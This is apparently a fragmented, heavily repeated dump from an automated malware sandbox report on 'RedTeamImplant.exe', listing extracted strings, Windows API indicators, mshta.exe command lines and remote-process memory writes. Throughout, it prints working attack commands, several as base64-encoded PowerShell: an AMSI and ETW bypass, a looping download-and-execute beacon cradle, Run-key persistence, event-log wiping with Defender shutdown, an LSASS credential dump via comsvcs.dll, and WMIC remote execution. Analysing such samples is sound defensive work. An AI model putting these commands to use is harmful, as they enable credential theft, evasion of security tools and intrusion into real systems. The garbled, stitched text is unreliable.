wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pau" (Indicator: "CertVerifyCertificateChainPolicy"; File: "RedTeamImplant.exe"), Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle78:T448,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtim" (Indicator: "CertCloseStore"; File: "RedTeamImplant.exe"), Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle79:Ta1f,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtim" (Indicator: "CryptGenRandom"; File: "RedTeamImplant.exe"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdfile already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timeinvalid write result37252902984619140625GetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CryptReleaseContext"; File: "RedTeamImplant.exe"), Found api reference "be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCalldevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW", missing CPU supportexit hook invoked panicpattern bits too long: SA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth As" (Indicator: "CertGetCertificateChain"; File: "RedTeamImplant.exe")7a:T458,Found api reference "a Standard TimeCape Verde Standard Time116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlockfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid pattern syntax: South Sudan Standard Tim" (Indicator: "CertFreeCertificateChain"; File: "RedTeamImplant.exe")7b:T45b,Found api reference "terinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Time1455191522836685180664062572759576141834259033203125unknown ABI parameter kindSetFileInformationByHandleRtlNtStatusToDosErrorNoTeball goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusinconsistent process statusEaster Island Standard Time3637978807" (Indicator: "CertFreeCertificateContext"; File: "RedTeamImplant.exe")7c:T45c,Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetF" (Indicator: "CertEnumCertificatesInStore"; File: "RedTeamImplant.exe")7d:T461,Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pa" (Indicator: "CertAddCertificateContextToStore"; File: "RedTeamImplant.exe")7e:T461,Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pa" (Indicator: "CertVerifyCertificateChainPolicy"; File: "RedTeamImplant.exe")7f:T4ed,Found api reference "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedstopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed]" (Indicator: "CertCloseStore"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")80:T4ed,Found api reference "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedstopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed]" (Indicator: "CryptGenRandom"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")81:T47b,Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdfile already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timeinvalid write result37252902984619140625GetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CryptReleaseContext"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")82:Ta19,missing CPU support" (Indicator: "CertGetCertificateChain"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp"), Found api reference "bindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlockfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid pattern syntax: South Sudan Standard TimeUS Mountain Standard TimeMiddle East Standard TimeTransbaikal Standard TimeW. Mongolia Standard TimeAfghanistan Standard TimeNorth Korea Standard TimeUlaanbaatar Standard TimeVladivostok Standard TimeAUS Central Standard TimeAUS Eastern Standard TimeKaliningrad Standard TimeNew Zealand Standard Time2006-01-02T15:04:05Z07:002910383045673370361328125GetSidIdentifierAuthorityGetFinalPathNameByHandleWgoroutine profile cleanupGOMAXPROCS updater (idle)chansend: spurious wakeupruntime" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp"), Found api reference "runtime: casgstatus: oldval=gcstopm: negative nmspinningfindrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too largefile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextabi.NewName: name too long: exec: Wait was already calledCentral America Standard TimeNorth Asia East Standard TimeN. Central Asia Standard TimeChatham Islands Standard TimeCentral Pacific Standard Time45474735088646411895751953125GetVolumeInformationByHandleWsync.WaitGroup.Wait (durable)executing on Go runtime stacknotesleep - waitm out of sync/cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffruntime: p.gcMarkWorkerMode= scanobject of a noscan objectruntime: marking free object addspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket" (Indicator: "CertCreateCertificateContext"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")83:T887,Found string "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" (Indicator: "/node:"; in File: "RedTeamImplant.exe"), Found string "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" (Indicator: "/node:"; in File: "RedTeamImplant.exe")84:T507,MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" (Indicator: "/node:"; in File: "RedTeamImplant.exe"), Found string "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" (Indicator: "/node:"; in File: "RedTeamImplant.exe")85:T507,MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte" (Indicator: "/node:"; in File: "RedTeamImplant.exe"), Found string "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int" (Indicator: "/node:"; in File: "RedTeamImplant.exe")86:Tae9,Process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgnU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHMnKTskZj0kYS5HZXRGaWVsZCgnYW1zaUluaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJyk7JGYuU2V0VmFsdWUoJG51bGwsJHRydWUpO1tEaWFnbm9zdGljcy5UcmFjaW5nLkV2ZW50U291cmNlXTo6R2V0U291cmNlcygpfD97JF8uTmFtZS1saWtlJypQb3dlclNoZWxsKid9fCV7JF8uU2V0RXR3UHJvdmlkZXJFbmFibGVkKCRmYWxzZSl9\\" 0 False(window.close)"" (UID: 00000000-00007932) Process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc d2hpbGUoJHRydWUpe3RyeXskd2M9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50OyR3Yy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7SUVYKCR3Yy5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMTo4MDgwL2JlYWNvbi5wczEnKSl9Y2F0Y2h7fTtTdGFydC1TbGVlcCAtcyAzMH0=\\" 0 False(window.close)"" (UID: 00000000-00004164) Process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvdiBVcGRhdGUgL3QgUkVHX1NaIC9kICJtc2h0YSB2YnNjcmlwdDpDcmVhdGVPYmplY3QoXCJcIldTY3JpcHQuU2hlbGxcIlwiKS5SdW4oXCJcInBvd2Vyc2hlbGwgLXcgaGlkZGVuIC1lbmMgLi4uXCJcIiwwKSh3aW5kb3cuY2xvc2UpIiAvZg==\\" 0 False(window.close)"" (UID: 00000000-00008072) Process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc d2V2dHV0aWwgZWx8JSB7d2V2dHV0aWwgY2wgIiRfIn07bmV0IHN0b3AgV2luRGVmZW5kO25ldCBzdG9wIHdzY3N2YztTZXQtTXBQcmVmZXJlbmNlIC1EaXNhYmxlUmVhbHRpbWVNb25pdG9yaW5nICR0cnVl\\" 0 False(window.close)"" (UID: 00000000-00009000) Process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc cnVuZGxsMzIgQzpcV2luZG93c1xTeXN0ZW0zMlxjb21zdmNzLmRsbCwgTWluaUR1bXAgKEdldC1Qcm9jZXNzIGxzYXNzKS5JZCBOVUwgZnVsbA==\\" 0 False(window.close)"" (UID: 00000000-00005204) Process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc d21pYyBjb21wdXRlcnN5c3RlbSBnZXQgY2FwdGlvbixkb21haW4sdXNlcm5hbWU7c3lzdGVtaW5mbw==\\" 0 False(window.close)"" (UID: 00000000-00002396) Process "mshta.exe" with commandline ""vbscript:CreateObject(\\"WScript.Shell\\").Run \\"powershell -NoP -NonI -W Hidden -Enc d21pYyAvbm9kZToiMTkyLjE2OC4xLjEwMCIgcHJvY2VzcyBjYWxsIGNyZWF0ZSAiY21kIC9jIHdob2FtaSA+IFxcXFwxOTIuMTY4LjEuMTAwXFxBRE1JTiRcXHgudHh0Ig==\\" 0 False(window.close)"" (UID: 00000000-00000688) Process "mshta.exe" with commandline "javascript:eval(atob('ZXZhbChhdG9iKCdTSVBzS0VneHdFaUR3QjVJdUdOaGJHeGlZV05yU0luQ1NNZkFIZ0FBQUE4RlNESEF3dz09JykpOw=='))(window.close)" (UID: 00000000-00002204)87:T6ce,"RedTeamImplant.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 612) "RedTeamImplant.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 612) "RedTeamImplant.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 608) "RedTeamImplant.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 608) "RedTeamImplant.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 592) "RedTeamImplant.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 592) "RedTeamImplant.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 596) "RedTeamImplant.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 596) "RedTeamImplant.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 660) "RedTeamImplant.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 660) "RedTeamImplant.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 616) "RedTeamImplant.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 616) "RedTeamImplant.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 648) "RedTeamImplant.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 648) "RedTeamImplant.exe" wrote 000011C0 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 644) "RedTeamImplant.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 644)88:Tc4e,file/memory contains long string with (Indicator: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "rface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl "$_"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "mshta vbscript:CreateObject(\"\"WScript.Shell\"\").Run(\"\"powershell -w hidden -enc ...\"\",0)(window.close)" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899"; File: "RedTeamImplant.exe"), file/memory contains long string with (Indicator: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Int"; File: "RedTeamImplant.exe")89:T450,file/memory contains long string with (Indicator: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id NUL fullexpected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Inte"; File: "RedTeamImplant.exe")8a:T7fc,file/memory contains long string with (Indicator: "rface: cannot return value obtained from unexported field or methodcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.wevtutil el|% {wevtutil cl "$_"};net stop WinDefend;net stop wscsvc;Set-MpPreference -DisableRealtimeMonitoring $truewhile($true){try{$wc=New-Object Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');IEX($wc.DownloadString('http://127.0.0.1:8080/beacon.ps1'))}catch{};Start-Sleep -s 30}reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "mshta vbscript:CreateObject(\"\"WScript.Shell\"\").Run(\"\"powershell -w hidden -enc ...\"\",0)(window.close)" /f00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899"; File: "RedTeamImplant.exe"), file/memory contains long string with (Indicator: "CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject("WScript.Shell").Run "powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:"%s" process call create "cmd /c whoami > \\\\%s\\ADMIN$\\x.txt"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket 